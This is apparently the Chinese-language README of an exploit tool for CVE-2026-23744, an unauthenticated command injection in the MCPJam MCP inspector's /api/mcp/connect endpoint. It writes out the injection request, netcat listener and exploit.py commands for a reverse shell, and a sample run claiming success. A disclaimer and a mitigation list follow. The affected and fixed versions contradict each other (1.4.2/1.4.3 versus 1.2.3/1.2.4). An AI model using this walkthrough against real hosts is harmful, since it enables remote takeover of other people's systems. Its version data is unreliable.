MCPJam 是一个开源的 MCP(模型上下文协议)检查器和代理,用于连接、调试和管理 MCP 服务器。版本 <= 1.4.2 暴露了 /api/mcp/connect 端点,且无需认证或输入验证。未经身份验证的远程攻击者可以通过 serverConfig.command / serverConfig.args 字段注入任意操作系统命令,从而以进程所有者的权限获得远程代码执行。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-23744 |
| CVSS 得分 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — 操作系统命令中特殊元素未正确中和 |
| 组件 | MCPJam MCP 代理检查器 |
| 受影响版本 | MCPJam <= 1.4.2 |
| 已修复版本 | MCPJam >= 1.4.3 |
| 攻击向量 | 网络 — 无需认证 |
| 披露日期 | 2026-01-15 |
存在漏洞的端点接受未经验证的 JSON POST 请求:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam 将 command 和 args 直接传递给 Node.js 进程生成器(child_process.spawn 或等效函数)而未进行:
能够访问端口 3000(默认)的攻击者可以在 args[1] 中提供反向 shell 载荷,从而获得 MCPJam 进程所有者的 shell——通常是 root 或具有广泛系统访问权限的服务账户。
/api/mcp/connect 上缺少身份验证中间件保护,加上在进程生成调用中不受控制地使用用户提供的值,造成了典型的未授权操作系统命令注入(CWE-78)。
pip install requests urllib3
-t, --target 目标 IP 或主机名
-p, --port 目标端口(默认 MCPJam: 3000)
-l, --lhost 反向 shell 回调的本地 IP
-r, --lport 反向 shell 回调的本地端口
--timeout 等待目标可达的秒数(默认:30)
--shell-timeout POST 超时时间,超时后假定 shell 已断开(默认:5)
-v, --verbose 打印完整 HTTP 响应体
1. 在你的机器上启动 netcat 监听器:
nc -lvnp 4444
2. 运行漏洞利用程序:
# 基本用法
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# 详细输出 + 延长可达性超时(针对慢速目标)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# 更长的 shell 超时(在假定 shell 已建立前给予更多时间)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · 通过 serverConfig 注入实现的未授权 RCE ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
组件 : MCPJam MCP 代理检查器
受影响版本 : <= 1.2.3 → 已修复版本: >= 1.2.4
CVSS 得分 : 9.8(严重)
CVSS 向量 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — 操作系统命令注入
类型 : 未授权远程代码执行(网络 / 无需认证)
参考 : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] 探测目标 10.10.11.50:3000(最长 30 秒)...
10:32:02 [+] 目标存活 — HTTP 200
10:32:02 [*] 漏洞利用端点 : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] 反向 shell 回调 : 10.10.14.5:4444
10:32:02 [!] 确保监听器已启动 : nc -lvnp 4444
10:32:02 [*] 发送载荷 ...
10:32:07 [+] POST 在 5 秒后超时 — 反向 shell 很可能已在 10.10.14.5:4444 上建立
10:32:07 [+] 切换到你的 netcat 监听器 — 预期将有连接进入。
10:32:07 [+] 漏洞利用程序执行完成。
超时 = 成功标志。 当 POST 请求超时时,目标进程正在阻塞等待反向 shell 打开——这是预期行为,确认 RCE 已实现。立即切换到你的监听器。
本漏洞利用程序仅供教育目的和授权安全测试使用。仅在你拥有或已获得明确书面许可的系统上使用。未经授权使用是非法且不道德的。
| 优先级 | 操作 |
|---|
| 严重 | 将 MCPJam 更新至 >= 1.2.4 |
| 高 | 在 /api/mcp/connect 后添加身份验证中间件 |
| 高 | 应用网络级防火墙规则,将 MCPJam 端口的访问限制为受信任 IP |
| 中 | 白名单允许的 serverConfig.command 值 |
| 中 | 在容器内 / 使用受限 Linux 用户运行 MCPJam(无 shell,无 /dev/tcp) |
| 低 | 启用进程生成事件的审计日志 |